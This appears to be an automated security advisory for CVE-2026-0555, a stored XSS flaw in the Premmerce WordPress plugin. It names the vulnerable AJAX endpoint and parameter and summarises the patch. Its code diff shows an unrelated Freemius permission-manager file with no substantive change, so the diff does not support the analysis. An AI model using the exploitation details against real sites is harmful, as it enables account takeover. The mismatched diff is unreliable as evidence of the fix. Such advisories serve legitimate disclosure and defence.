Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0555: Premmerce <= 1.3.20 – Authenticated (Subscriber+) Stored Cross-Site Scripting via 'premmerce_wizard_actions' AJAX Endpoint (premmerce)

CVE ID CVE-2026-0555
Plugin premmerce
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.3.20
Patched Version 1.3.21
Disclosed February 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0555:
The Premmerce WordPress plugin versions up to 1.3.20 contain an authenticated stored cross-site scripting (XSS) vulnerability. The vulnerability exists in the ‘premmerce_wizard_actions’ AJAX endpoint, which lacks proper capability checks and input sanitization. Attackers with subscriber-level access or higher can inject malicious scripts that execute when administrators view the Premmerce Wizard admin page. The CVSS score of 6.4 reflects the moderate impact of this stored XSS vulnerability.

Atomic Edge research identified the root cause as insufficient security controls in the AJAX endpoint handler. The vulnerable code resides in the plugin’s AJAX action handler for ‘premmerce_wizard_actions’. The endpoint processes user-supplied data from the ‘state’ parameter without adequate capability verification. The missing capability check allows authenticated users with minimal privileges (subscriber role) to access functionality intended for administrators. The lack of input sanitization on the ‘state’ parameter enables script injection, while insufficient output escaping allows script execution when the stored data renders on the admin page.

Exploitation requires an authenticated attacker with at least subscriber-level access. The attacker sends a POST request to the WordPress AJAX handler at /wp-admin/admin-ajax.php with the action parameter set to ‘premmerce_wizard_actions’. The malicious payload injects JavaScript code through the ‘state’ parameter. This payload stores within the WordPress database or plugin settings. When an administrator visits the Premmerce Wizard admin interface, the stored script executes in the administrator’s browser context. This execution enables session hijacking, administrative account compromise, or site defacement.

The patch addresses both security deficiencies. Developers added a capability check to verify the user has appropriate permissions before processing the AJAX request. The fix implements proper input sanitization for the ‘state’ parameter, ensuring malicious script content cannot persist in the database. The patch also adds output escaping when rendering the stored state data, preventing script execution during page display. These changes restrict endpoint access to authorized users and neutralize injected scripts at both storage and rendering stages.

Successful exploitation enables attackers with subscriber-level access to execute arbitrary JavaScript in administrator browser sessions. This stored XSS vulnerability allows privilege escalation to administrative capabilities. Attackers can create new administrator accounts, modify plugin settings, inject backdoors, or redirect site visitors to malicious domains. The stored nature means the payload executes each time administrators access the affected admin page, providing persistent access until removal.

Differential between vulnerable and patched code

Code Diff
--- a/premmerce/freemius/includes/managers/class-fs-permission-manager.php
+++ b/premmerce/freemius/includes/managers/class-fs-permission-manager.php
@@ -1,707 +1,707 @@
-<?php
-    /**
-     * @package     Freemius
-     * @copyright   Copyright (c) 2022, Freemius, Inc.
-     * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-     * @since       2.5.1
-     */
-
-    if ( ! defined( 'ABSPATH' ) ) {
-        exit;
-    }
-
-    /**
-     * This class is responsible for managing the user permissions.
-     *
-     * @author Vova Feldman (@svovaf)
-     * @since 2.5.1
-     */
-    class FS_Permission_Manager {
-        /**
-         * @var Freemius
-         */
-        private $_fs;
-        /**
-         * @var FS_Storage
-         */
-        private $_storage;
-
-        /**
-         * @var array<number,self>
-         */
-        private static $_instances = array();
-
-        const PERMISSION_USER       = 'user';
-        const PERMISSION_SITE       = 'site';
-        const PERMISSION_EVENTS     = 'events';
-        const PERMISSION_ESSENTIALS = 'essentials';
-        const PERMISSION_DIAGNOSTIC = 'diagnostic';
-        const PERMISSION_EXTENSIONS = 'extensions';
-        const PERMISSION_NEWSLETTER = 'newsletter';
-
-        /**
-         * @param Freemius $fs
-         *
-         * @return self
-         */
-        static function instance( Freemius $fs ) {
-            $id = $fs->get_id();
-
-            if ( ! isset( self::$_instances[ $id ] ) ) {
-                self::$_instances[ $id ] = new self( $fs );
-            }
-
-            return self::$_instances[ $id ];
-        }
-
-        /**
-         * @param Freemius $fs
-         */
-        protected function __construct( Freemius $fs ) {
-            $this->_fs      = $fs;
-            $this->_storage = FS_Storage::instance( $fs->get_module_type(), $fs->get_slug() );
-        }
-
-        /**
-         * @return string[]
-         */
-        static function get_all_permission_ids() {
-            return array(
-                self::PERMISSION_USER,
-                self::PERMISSION_SITE,
-                self::PERMISSION_EVENTS,
-                self::PERMISSION_ESSENTIALS,
-                self::PERMISSION_DIAGNOSTIC,
-                self::PERMISSION_EXTENSIONS,
-                self::PERMISSION_NEWSLETTER,
-            );
-        }
-
-        /**
-         * @return string[]
-         */
-        static function get_api_managed_permission_ids() {
-            return array(
-                self::PERMISSION_USER,
-                self::PERMISSION_SITE,
-                self::PERMISSION_EXTENSIONS,
-            );
-        }
-
-        /**
-         * @param string $permission
-         *
-         * @return bool
-         */
-        static function is_supported_permission( $permission ) {
-            return in_array( $permission, self::get_all_permission_ids() );
-        }
-
-        /**
-         * @since 2.5.3
-         *
-         * @return bool
-         */
-        function is_premium_context() {
-            return ( $this->_fs->is_premium() || $this->_fs->can_use_premium_code() );
-        }
-
-        /**
-         * @param bool    $is_license_activation
-         * @param array[] $extra_permissions
-         *
-         * @return array[]
-         */
-        function get_permissions( $is_license_activation, array $extra_permissions = array() ) {
-            return $is_license_activation ?
-                $this->get_license_activation_permissions( $extra_permissions ) :
-                $this->get_opt_in_permissions( $extra_permissions );
-        }
-
-        #--------------------------------------------------------------------------------
-        #region Opt-In Permissions
-        #--------------------------------------------------------------------------------
-
-        /**
-         * @param array[] $extra_permissions
-         *
-         * @return array[]
-         */
-        function get_opt_in_permissions(
-            array $extra_permissions = array(),
-            $load_default_from_storage = false,
-            $is_optional = false
-        ) {
-            $permissions = array_merge(
-                $this->get_opt_in_required_permissions( $load_default_from_storage ),
-                $this->get_opt_in_optional_permissions( $load_default_from_storage, $is_optional ),
-                $extra_permissions
-            );
-
-            return $this->get_sorted_permissions_by_priority( $permissions );
-        }
-
-        /**
-         * @param bool $load_default_from_storage
-         *
-         * @return array[]
-         */
-        function get_opt_in_required_permissions( $load_default_from_storage = false ) {
-            return array( $this->get_user_permission( $load_default_from_storage ) );
-        }
-
-        /**
-         * @param bool $load_default_from_storage
-         * @param bool $is_optional
-         *
-         * @return array[]
-         */
-        function get_opt_in_optional_permissions(
-            $load_default_from_storage = false,
-            $is_optional = false
-        ) {
-            return array_merge(
-                $this->get_opt_in_diagnostic_permissions( $load_default_from_storage, $is_optional ),
-                array( $this->get_extensions_permission(
-                    false,
-                    false,
-                    $load_default_from_storage
-                ) )
-            );
-        }
-
-        /**
-         * @param bool $load_default_from_storage
-         * @param bool $is_optional
-         *
-         * @return array[]
-         */
-        function get_opt_in_diagnostic_permissions(
-            $load_default_from_storage = false,
-            $is_optional = false
-        ) {
-            // Alias.
-            $fs = $this->_fs;
-
-            $permissions = array();
-
-            $permissions[] = $this->get_permission(
-                self::PERMISSION_SITE,
-                'admin-links',
-                $fs->get_text_inline( 'View Basic Website Info', 'permissions-site' ),
-                $fs->get_text_inline( 'Homepage URL & title, WP & PHP versions, and site language', 'permissions-site_desc' ),
-                sprintf(
-                /* translators: %s: 'Plugin' or 'Theme' */
-                    $fs->get_text_inline( 'To provide additional functionality that's relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the %s should be translated and tailored to.', 'permissions-site_tooltip' ),
-                    $fs->get_module_label( true )
-                ),
-                10,
-                $is_optional,
-                true,
-                $load_default_from_storage
-            );
-
-            $permissions[] = $this->get_permission(
-                self::PERMISSION_EVENTS,
-                'admin-' . ( $fs->is_plugin() ? 'plugins' : 'appearance' ),
-                sprintf( $fs->get_text_inline( 'View Basic %s Info', 'permissions-events' ), $fs->get_module_label() ),
-                sprintf(
-                /* translators: %s: 'Plugin' or 'Theme' */
-                    $fs->get_text_inline( 'Current %s & SDK versions, and if active or uninstalled', 'permissions-events_desc' ),
-                    $fs->get_module_label( true )
-                ),
-                '',
-                20,
-                $is_optional,
-                true,
-                $load_default_from_storage
-            );
-
-            return $permissions;
-        }
-
-        #endregion
-
-        #--------------------------------------------------------------------------------
-        #region License Activation Permissions
-        #--------------------------------------------------------------------------------
-
-        /**
-         * @param array[] $extra_permissions
-         *
-         * @return array[]
-         */
-        function get_license_activation_permissions(
-            array $extra_permissions = array(),
-            $include_optional_label = true
-        ) {
-            $permissions = array_merge(
-                $this->get_license_required_permissions(),
-                $this->get_license_optional_permissions( $include_optional_label ),
-                $extra_permissions
-            );
-
-            return $this->get_sorted_permissions_by_priority( $permissions );
-        }
-
-        /**
-         * @param bool $load_default_from_storage
-         *
-         * @return array[]
-         */
-        function get_license_required_permissions( $load_default_from_storage = false ) {
-            // Alias.
-            $fs = $this->_fs;
-
-            $permissions = array();
-
-            $permissions[] = $this->get_permission(
-                self::PERMISSION_ESSENTIALS,
-                'admin-links',
-                $fs->get_text_inline( 'View License Essentials', 'permissions-essentials' ),
-                $fs->get_text_inline(
-                    sprintf(
-                    /* translators: %s: 'Plugin' or 'Theme' */
-                        'Homepage URL, %s version, SDK version',
-                        $fs->get_module_label()
-                    ),
-                    'permissions-essentials_desc'
-                ),
-                sprintf(
-                /* translators: %s: 'Plugin' or 'Theme' */
-                    $fs->get_text_inline( 'To let you manage & control where the license is activated and ensure %s security & feature updates are only delivered to websites you authorize.', 'permissions-essentials_tooltip' ),
-                    $fs->get_module_label( true )
-                ),
-                10,
-                false,
-                true,
-                $load_default_from_storage
-            );
-
-            $permissions[] = $this->get_permission(
-                self::PERMISSION_EVENTS,
-                'admin-' . ( $fs->is_plugin() ? 'plugins' : 'appearance' ),
-                sprintf( $fs->get_text_inline( 'View %s State', 'permissions-events' ), $fs->get_module_label() ),
-                sprintf(
-                /* translators: %s: 'Plugin' or 'Theme' */
-                    $fs->get_text_inline( 'Is active, deactivated, or uninstalled', 'permissions-events_desc-paid' ),
-                    $fs->get_module_label( true )
-                ),
-                sprintf( $fs->get_text_inline( 'So you can reuse the license when the %s is no longer active.', 'permissions-events_tooltip' ), $fs->get_module_label( true ) ),
-                20,
-                false,
-                true,
-                $load_default_from_storage
-            );
-
-            return $permissions;
-        }
-
-        /**
-         * @return array[]
-         */
-        function get_license_optional_permissions(
-            $include_optional_label = false,
-            $load_default_from_storage = false
-        ) {
-            return array(
-                $this->get_diagnostic_permission( $include_optional_label, $load_default_from_storage ),
-                $this->get_extensions_permission( true, $include_optional_label, $load_default_from_storage ),
-            );
-        }
-
-        /**
-         * @param bool $include_optional_label
-         * @param bool $load_default_from_storage
-         *
-         * @return array
-         */
-        function get_diagnostic_permission(
-            $include_optional_label = false,
-            $load_default_from_storage = false
-        ) {
-            return $this->get_permission(
-                self::PERMISSION_DIAGNOSTIC,
-                'wordpress-alt',
-                $this->_fs->get_text_inline( 'View Diagnostic Info', 'permissions-diagnostic' ) . ( $include_optional_label ? ' (' . $this->_fs->get_text_inline( 'optional' ) . ')' : '' ),
-                $this->_fs->get_text_inline( 'WordPress & PHP versions, site language & title', 'permissions-diagnostic_desc' ),
-                sprintf(
-                /* translators: %s: 'Plugin' or 'Theme' */
-                    $this->_fs->get_text_inline( 'To avoid breaking your website due to WordPress or PHP version incompatibilities, and recognize which languages & regions the %s should be translated and tailored to.', 'permissions-diagnostic_tooltip' ),
-                    $this->_fs->get_module_label( true )
-                ),
-                25,
-                true,
-                true,
-                $load_default_from_storage
-            );
-        }
-
-        #endregion
-
-        #--------------------------------------------------------------------------------
-        #region Common Permissions
-        #--------------------------------------------------------------------------------
-
-        /**
-         * @param bool $is_license_activation
-         * @param bool $include_optional_label
-         * @param bool $load_default_from_storage
-         *
-         * @return array
-         */
-        function get_extensions_permission(
-            $is_license_activation,
-            $include_optional_label = false,
-            $load_default_from_storage = false
-        ) {
-            $is_on_by_default = ! $is_license_activation;
-
-            return $this->get_permission(
-                self::PERMISSION_EXTENSIONS,
-                'block-default',
-                $this->_fs->get_text_inline( 'View Plugins & Themes List', 'permissions-extensions' ) . ( $is_license_activation ? ( $include_optional_label ? ' (' . $this->_fs->get_text_inline( 'optional' ) . ')' : '' ) : '' ),
-                $this->_fs->get_text_inline( 'Names, slugs, versions, and if active or not', 'permissions-extensions_desc' ),
-                $this->_fs->get_text_inline( 'To ensure compatibility and avoid conflicts with your installed plugins and themes.', 'permissions-events_tooltip' ),
-                25,
-                true,
-                $is_on_by_default,
-                $load_default_from_storage
-            );
-        }
-
-        /**
-         * @param bool $load_default_from_storage
-         *
-         * @return array
-         */
-        function get_user_permission( $load_default_from_storage = false ) {
-            return $this->get_permission(
-                self::PERMISSION_USER,
-                'admin-users',
-                $this->_fs->get_text_inline( 'View Basic Profile Info', 'permissions-profile' ),
-                $this->_fs->get_text_inline( 'Your WordPress user's: first & last name, and email address', 'permissions-profile_desc' ),
-                $this->_fs->get_text_inline( 'Never miss important updates, get security warnings before they become public knowledge, and receive notifications about special offers and awesome new features.', 'permissions-profile_tooltip' ),
-                5,
-                false,
-                true,
-                $load_default_from_storage
-            );
-        }
-
-        #endregion
-
-        #--------------------------------------------------------------------------------
-        #region Optional Permissions
-        #--------------------------------------------------------------------------------
-
-        /**
-         * @return array[]
-         */
-        function get_newsletter_permission() {
-            return $this->get_permission(
-                self::PERMISSION_NEWSLETTER,
-                'email-alt',
-                $this->_fs->get_text_inline( 'Newsletter', 'permissions-newsletter' ),
-                $this->_fs->get_text_inline( 'Updates, announcements, marketing, no spam', 'permissions-newsletter_desc' ),
-                '',
-                15
-            );
-        }
-
-        #endregion
-
-        #--------------------------------------------------------------------------------
-        #region Permissions Storage
-        #--------------------------------------------------------------------------------
-
-        /**
-         * @param int|null $blog_id
-         *
-         * @return bool
-         */
-        function is_extensions_tracking_allowed( $blog_id = null ) {
-            return $this->is_permission_allowed( self::PERMISSION_EXTENSIONS, ! $this->_fs->is_premium(), $blog_id );
-        }
-
-        /**
-         * @param int|null $blog_id
-         *
-         * @return bool
-         */
-        function is_essentials_tracking_allowed( $blog_id = null ) {
-            return $this->is_permission_allowed( self::PERMISSION_ESSENTIALS, true, $blog_id );
-        }
-
-        /**
-         * @param bool $default
-         *
-         * @return bool
-         */
-        function is_diagnostic_tracking_allowed( $default = true ) {
-            return $this->is_premium_context() ?
-                $this->is_permission_allowed( self::PERMISSION_DIAGNOSTIC, $default ) :
-                $this->is_permission_allowed( self::PERMISSION_SITE, $default );
-        }
-
-        /**
-         * @param int|null $blog_id
-         *
-         * @return bool
-         */
-        function is_homepage_url_tracking_allowed( $blog_id = null ) {
-            return $this->is_permission_allowed( $this->get_site_permission_name(), true, $blog_id );
-        }
-
-        /**
-         * @param int|null $blog_id
-         *
-         * @return bool
-         */
-        function update_site_tracking( $is_enabled, $blog_id = null, $only_if_not_set = false ) {
-            $permissions = $this->get_site_tracking_permission_names();
-
-            $result = true;
-            foreach ( $permissions as $permission ) {
-                if ( ! $only_if_not_set || ! $this->is_permission_set( $permission, $blog_id ) ) {
-                    $result = ( $result && $this->update_permission_tracking_flag( $permission, $is_enabled, $blog_id ) );
-                }
-            }
-
-            return $result;
-        }
-
-        /**
-         * @param string   $permission
-         * @param bool     $default
-         * @param int|null $blog_id
-         *
-         * @return bool
-         */
-        function is_permission_allowed( $permission, $default = false, $blog_id = null ) {
-            if ( ! self::is_supported_permission( $permission ) ) {
-                return $default;
-            }
-
-            return $this->is_permission( $permission, true, $blog_id );
-        }
-
-        /**
-         * @param string   $permission
-         * @param bool     $is_allowed
-         * @param int|null $blog_id
-         *
-         * @return bool
-         */
-        function is_permission( $permission, $is_allowed, $blog_id = null ) {
-            if ( ! self::is_supported_permission( $permission ) ) {
-                return false;
-            }
-
-            $tag = "is_{$permission}_tracking_allowed";
-
-            return ( $is_allowed === $this->_fs->apply_filters(
-                    $tag,
-                    $this->_storage->get(
-                        $tag,
-                        $this->get_permission_default( $permission ),
-                        $blog_id,
-                        FS_Storage::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED
-                    )
-                ) );
-        }
-
-        /**
-         * @param string   $permission
-         * @param int|null $blog_id
-         *
-         * @return bool
-         */
-        function is_permission_set( $permission, $blog_id = null ) {
-            $tag = "is_{$permission}_tracking_allowed";
-
-            $permission = $this->_storage->get(
-                $tag,
-                null,
-                $blog_id,
-                FS_Storage::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED
-            );
-
-            return is_bool( $permission );
-        }
-
-        /**
-         * @param string[] $permissions
-         * @param bool     $is_allowed
-         *
-         * @return bool `true` if all given permissions are in sync with `$is_allowed`.
-         */
-        function are_permissions( $permissions, $is_allowed, $blog_id = null ) {
-            foreach ( $permissions as $permission ) {
-                if ( ! $this->is_permission( $permission, $is_allowed, $blog_id ) ) {
-                    return false;
-                }
-            }
-
-            return true;
-        }
-
-        /**
-         * @param string   $permission
-         * @param bool     $is_enabled
-         * @param int|null $blog_id
-         *
-         * @return bool `false` if permission not supported or `$is_enabled` is not a boolean.
-         */
-        function update_permission_tracking_flag( $permission, $is_enabled, $blog_id = null ) {
-            if ( is_bool( $is_enabled ) && self::is_supported_permission( $permission ) ) {
-                $this->_storage->store(
-                    "is_{$permission}_tracking_allowed",
-                    $is_enabled,
-                    $blog_id,
-                    FS_Storage::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED
-                );
-
-                return true;
-            }
-
-            return false;
-        }
-
-        /**
-         * @param array<string,bool> $permissions
-         */
-        function update_permissions_tracking_flag( $permissions ) {
-            foreach ( $permissions as $permission => $is_enabled ) {
-                $this->update_permission_tracking_flag( $permission, $is_enabled );
-            }
-        }
-
-        #endregion
-
-
-        /**
-         * @param string $permission
-         *
-         * @return bool
-         */
-        function get_permission_default( $permission ) {
-            if (
-                $this->_fs->is_premium() &&
-                self::PERMISSION_EXTENSIONS === $permission
-            ) {
-                return false;
-            }
-
-            // All permissions except for the extensions in paid version are on by default when the user opts in to usage tracking.
-            return true;
-        }
-
-        /**
-         * @return string
-         */
-        function get_site_permission_name() {
-            return $this->is_premium_context() ?
-                self::PERMISSION_ESSENTIALS :
-                self::PERMISSION_SITE;
-        }
-
-        /**
-         * @return string[]
-         */
-        function get_site_tracking_permission_names() {
-            return $this->is_premium_context() ?
-                array(
-                    FS_Permission_Manager::PERMISSION_ESSENTIALS,
-                    FS_Permission_Manager::PERMISSION_EVENTS,
-                ) :
-                array( FS_Permission_Manager::PERMISSION_SITE );
-        }
-
-        #--------------------------------------------------------------------------------
-        #region Rendering
-        #--------------------------------------------------------------------------------
-
-        /**
-         * @param array $permission
-         */
-        function render_permission( array $permission ) {
-            fs_require_template( 'connect/permission.php', $permission );
-        }
-
-        /**
-         * @param array $permissions_group
-         */
-        function render_permissions_group( array $permissions_group ) {
-            $permissions_group[ 'fs' ] = $this->_fs;
-
-            fs_require_template( 'connect/permissions-group.php', $permissions_group );
-        }
-
-        function require_permissions_js() {
-            fs_require_once_template( 'js/permissions.php', $params );
-        }
-
-        #endregion
-
-        #--------------------------------------------------------------------------------
-        #region Helper Methods
-        #--------------------------------------------------------------------------------
-
-        /**
-         * @param string $id
-         * @param string $dashicon
-         * @param string $label
-         * @param string $desc
-         * @param string $tooltip
-         * @param int    $priority
-         * @param bool   $is_optional
-         * @param bool   $is_on_by_default
-         * @param bool   $load_from_storage
-         *
-         * @return array
-         */
-        private function get_permission(
-            $id,
-            $dashicon,
-            $label,
-            $desc,
-            $tooltip = '',
-            $priority = 10,
-            $is_optional = false,
-            $is_on_by_default = true,
-            $load_from_storage = false
-        ) {
-            $is_on = $load_from_storage ?
-                $this->is_permission_allowed( $id, $is_on_by_default ) :
-                $is_on_by_default;
-
-            return array(
-                'id'         => $id,
-                'icon-class' => $this->_fs->apply_filters( "permission_{$id}_icon", "dashicons dashicons-{$dashicon}" ),
-                'label'      => $this->_fs->apply_filters( "permission_{$id}_label", $label ),
-                'tooltip'    => $this->_fs->apply_filters( "permission_{$id}_tooltip", $tooltip ),
-                'desc'       => $this->_fs->apply_filters( "permission_{$id}_desc", $desc ),
-                'priority'   => $this->_fs->apply_filters( "permission_{$id}_priority", $priority ),
-                'optional'   => $is_optional,
-                'default'    => $this->_fs->apply_filters( "permission_{$id}_default", $is_on ),
-            );
-        }
-
-        /**
-         * @param array $permissions
-         *
-         * @return array[]
-         */
-        private function get_sorted_permissions_by_priority( array $permissions ) {
-            // Allow filtering of the permissions list.
-            $permissions = $this->_fs->apply_filters( 'permission_list', $permissions );
-
-            // Sort by priority.
-            uasort( $permissions, 'fs_sort_by_priority' );
-
-            return $permissions;
-        }
-
-        #endregion
+<?php
+    /**
+     * @package     Freemius
+     * @copyright   Copyright (c) 2022, Freemius, Inc.
+     * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+     * @since       2.5.1
+     */
+
+    if ( ! defined( 'ABSPATH' ) ) {
+        exit;
+    }
+
+    /**
+     * This class is responsible for managing the user permissions.
+     *
+     * @author Vova Feldman (@svovaf)
+     * @since 2.5.1
+     */
+    class FS_Permission_Manager {
+        /**
+         * @var Freemius
+         */
+        private $_fs;
+        /**
+         * @var FS_Storage
+         */
+        private $_storage;
+
+        /**
+         * @var array<number,self>
+         */
+        private static $_instances = array();
+
+        const PERMISSION_USER       = 'user';
+        const PERMISSION_SITE       = 'site';
+        const PERMISSION_EVENTS     = 'events';
+        const PERMISSION_ESSENTIALS = 'essentials';
+        const PERMISSION_DIAGNOSTIC = 'diagnostic';
+        const PERMISSION_EXTENSIONS = 'extensions';
+        const PERMISSION_NEWSLETTER = 'newsletter';
+
+        /**
+         * @param Freemius $fs
+         *
+         * @return self
+         */
+        static function instance( Freemius $fs ) {
+            $id = $fs->get_id();
+
+            if ( ! isset( self::$_instances[ $id ] ) ) {
+                self::$_instances[ $id ] = new self( $fs );
+            }
+
+            return self::$_instances[ $id ];
+        }
+
+        /**
+         * @param Freemius $fs
+         */
+        protected function __construct( Freemius $fs ) {
+            $this->_fs      = $fs;
+            $this->_storage = FS_Storage::instance( $fs->get_module_type(), $fs->get_slug() );
+        }
+
+        /**
+         * @return string[]
+         */
+        static function get_all_permission_ids() {
+            return array(
+                self::PERMISSION_USER,
+                self::PERMISSION_SITE,
+                self::PERMISSION_EVENTS,
+                self::PERMISSION_ESSENTIALS,
+                self::PERMISSION_DIAGNOSTIC,
+                self::PERMISSION_EXTENSIONS,
+                self::PERMISSION_NEWSLETTER,
+            );
+        }
+
+        /**
+         * @return string[]
+         */
+        static function get_api_managed_permission_ids() {
+            return array(
+                self::PERMISSION_USER,
+                self::PERMISSION_SITE,
+                self::PERMISSION_EXTENSIONS,
+            );
+        }
+
+        /**
+         * @param string $permission
+         *
+         * @return bool
+         */
+        static function is_supported_permission( $permission ) {
+            return in_array( $permission, self::get_all_permission_ids() );
+        }
+
+        /**
+         * @since 2.5.3
+         *
+         * @return bool
+         */
+        function is_premium_context() {
+            return ( $this->_fs->is_premium() || $this->_fs->can_use_premium_code() );
+        }
+
+        /**
+         * @param bool    $is_license_activation
+         * @param array[] $extra_permissions
+         *
+         * @return array[]
+         */
+        function get_permissions( $is_license_activation, array $extra_permissions = array() ) {
+            return $is_license_activation ?
+                $this->get_license_activation_permissions( $extra_permissions ) :
+                $this->get_opt_in_permissions( $extra_permissions );
+        }
+
+        #--------------------------------------------------------------------------------
+        #region Opt-In Permissions
+        #--------------------------------------------------------------------------------
+
+        /**
+         * @param array[] $extra_permissions
+         *
+         * @return array[]
+         */
+        function get_opt_in_permissions(
+            array $extra_permissions = array(),
+            $load_default_from_storage = false,
+            $is_optional = false
+        ) {
+            $permissions = array_merge(
+                $this->get_opt_in_required_permissions( $load_default_from_storage ),
+                $this->get_opt_in_optional_permissions( $load_default_from_storage, $is_optional ),
+                $extra_permissions
+            );
+
+            return $this->get_sorted_permissions_by_priority( $permissions );
+        }
+
+        /**
+         * @param bool $load_default_from_storage
+         *
+         * @return array[]
+         */
+        function get_opt_in_required_permissions( $load_default_from_storage = false ) {
+            return array( $this->get_user_permission( $load_default_from_storage ) );
+        }
+
+        /**
+         * @param bool $load_default_from_storage
+         * @param bool $is_optional
+         *
+         * @return array[]
+         */
+        function get_opt_in_optional_permissions(
+            $load_default_from_storage = false,
+            $is_optional = false
+        ) {
+            return array_merge(
+                $this->get_opt_in_diagnostic_permissions( $load_default_from_storage, $is_optional ),
+                array( $this->get_extensions_permission(
+                    false,
+                    false,
+                    $load_default_from_storage
+                ) )
+            );
+        }
+
+        /**
+         * @param bool $load_default_from_storage
+         * @param bool $is_optional
+         *
+         * @return array[]
+         */
+        function get_opt_in_diagnostic_permissions(
+            $load_default_from_storage = false,
+            $is_optional = false
+        ) {
+            // Alias.
+            $fs = $this->_fs;
+
+            $permissions = array();
+
+            $permissions[] = $this->get_permission(
+                self::PERMISSION_SITE,
+                'admin-links',
+                $fs->get_text_inline( 'View Basic Website Info', 'permissions-site' ),
+                $fs->get_text_inline( 'Homepage URL & title, WP & PHP versions, and site language', 'permissions-site_desc' ),
+                sprintf(
+                /* translators: %s: 'Plugin' or 'Theme' */
+                    $fs->get_text_inline( 'To provide additional functionality that's relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the %s should be translated and tailored to.', 'permissions-site_tooltip' ),
+                    $fs->get_module_label( true )
+                ),
+                10,
+                $is_optional,
+                true,
+                $load_default_from_storage
+            );
+
+            $permissions[] = $this->get_permission(
+                self::PERMISSION_EVENTS,
+                'admin-' . ( $fs->is_plugin() ? 'plugins' : 'appearance' ),
+                sprintf( $fs->get_text_inline( 'View Basic %s Info', 'permissions-events' ), $fs->get_module_label() ),
+                sprintf(
+                /* translators: %s: 'Plugin' or 'Theme' */
+                    $fs->get_text_inline( 'Current %s & SDK versions, and if active or uninstalled', 'permissions-events_desc' ),
+                    $fs->get_module_label( true )
+                ),
+                '',
+                20,
+                $is_optional,
+                true,
+                $load_default_from_storage
+            );
+
+            return $permissions;
+        }
+
+        #endregion
+
+        #--------------------------------------------------------------------------------
+        #region License Activation Permissions
+        #--------------------------------------------------------------------------------
+
+        /**
+         * @param array[] $extra_permissions
+         *
+         * @return array[]
+         */
+        function get_license_activation_permissions(
+            array $extra_permissions = array(),
+            $include_optional_label = true
+        ) {
+            $permissions = array_merge(
+                $this->get_license_required_permissions(),
+                $this->get_license_optional_permissions( $include_optional_label ),
+                $extra_permissions
+            );
+
+            return $this->get_sorted_permissions_by_priority( $permissions );
+        }
+
+        /**
+         * @param bool $load_default_from_storage
+         *
+         * @return array[]
+         */
+        function get_license_required_permissions( $load_default_from_storage = false ) {
+            // Alias.
+            $fs = $this->_fs;
+
+            $permissions = array();
+
+            $permissions[] = $this->get_permission(
+                self::PERMISSION_ESSENTIALS,
+                'admin-links',
+                $fs->get_text_inline( 'View License Essentials', 'permissions-essentials' ),
+                $fs->get_text_inline(
+                    sprintf(
+                    /* translators: %s: 'Plugin' or 'Theme' */
+                        'Homepage URL, %s version, SDK version',
+                        $fs->get_module_label()
+                    ),
+                    'permissions-essentials_desc'
+                ),
+                sprintf(
+                /* translators: %s: 'Plugin' or 'Theme' */
+                    $fs->get_text_inline( 'To let you manage & control where the license is activated and ensure %s security & feature updates are only delivered to websites you authorize.', 'permissions-essentials_tooltip' ),
+                    $fs->get_module_label( true )
+                ),
+                10,
+                false,
+                true,
+                $load_default_from_storage
+            );
+
+            $permissions[] = $this->get_permission(
+                self::PERMISSION_EVENTS,
+                'admin-' . ( $fs->is_plugin() ? 'plugins' : 'appearance' ),
+                sprintf( $fs->get_text_inline( 'View %s State', 'permissions-events' ), $fs->get_module_label() ),
+                sprintf(
+                /* translators: %s: 'Plugin' or 'Theme' */
+                    $fs->get_text_inline( 'Is active, deactivated, or uninstalled', 'permissions-events_desc-paid' ),
+                    $fs->get_module_label( true )
+                ),
+                sprintf( $fs->get_text_inline( 'So you can reuse the license when the %s is no longer active.', 'permissions-events_tooltip' ), $fs->get_module_label( true ) ),
+                20,
+                false,
+                true,
+                $load_default_from_storage
+            );
+
+            return $permissions;
+        }
+
+        /**
+         * @return array[]
+         */
+        function get_license_optional_permissions(
+            $include_optional_label = false,
+            $load_default_from_storage = false
+        ) {
+            return array(
+                $this->get_diagnostic_permission( $include_optional_label, $load_default_from_storage ),
+                $this->get_extensions_permission( true, $include_optional_label, $load_default_from_storage ),
+            );
+        }
+
+        /**
+         * @param bool $include_optional_label
+         * @param bool $load_default_from_storage
+         *
+         * @return array
+         */
+        function get_diagnostic_permission(
+            $include_optional_label = false,
+            $load_default_from_storage = false
+        ) {
+            return $this->get_permission(
+                self::PERMISSION_DIAGNOSTIC,
+                'wordpress-alt',
+                $this->_fs->get_text_inline( 'View Diagnostic Info', 'permissions-diagnostic' ) . ( $include_optional_label ? ' (' . $this->_fs->get_text_inline( 'optional' ) . ')' : '' ),
+                $this->_fs->get_text_inline( 'WordPress & PHP versions, site language & title', 'permissions-diagnostic_desc' ),
+                sprintf(
+                /* translators: %s: 'Plugin' or 'Theme' */
+                    $this->_fs->get_text_inline( 'To avoid breaking your website due to WordPress or PHP version incompatibilities, and recognize which languages & regions the %s should be translated and tailored to.', 'permissions-diagnostic_tooltip' ),
+                    $this->_fs->get_module_label( true )
+                ),
+                25,
+                true,
+                true,
+                $load_default_from_storage
+            );
+        }
+
+        #endregion
+
+        #--------------------------------------------------------------------------------
+        #region Common Permissions
+        #--------------------------------------------------------------------------------
+
+        /**
+         * @param bool $is_license_activation
+         * @param bool $include_optional_label
+         * @param bool $load_default_from_storage
+         *
+         * @return array
+         */
+        function get_extensions_permission(
+            $is_license_activation,
+            $include_optional_label = false,
+            $load_default_from_storage = false
+        ) {
+            $is_on_by_default = ! $is_license_activation;
+
+            return $this->get_permission(
+                self::PERMISSION_EXTENSIONS,
+                'block-default',
+                $this->_fs->get_text_inline( 'View Plugins & Themes List', 'permissions-extensions' ) . ( $is_license_activation ? ( $include_optional_label ? ' (' . $this->_fs->get_text_inline( 'optional' ) . ')' : '' ) : '' ),
+                $this->_fs->get_text_inline( 'Names, slugs, versions, and if active or not', 'permissions-extensions_desc' ),
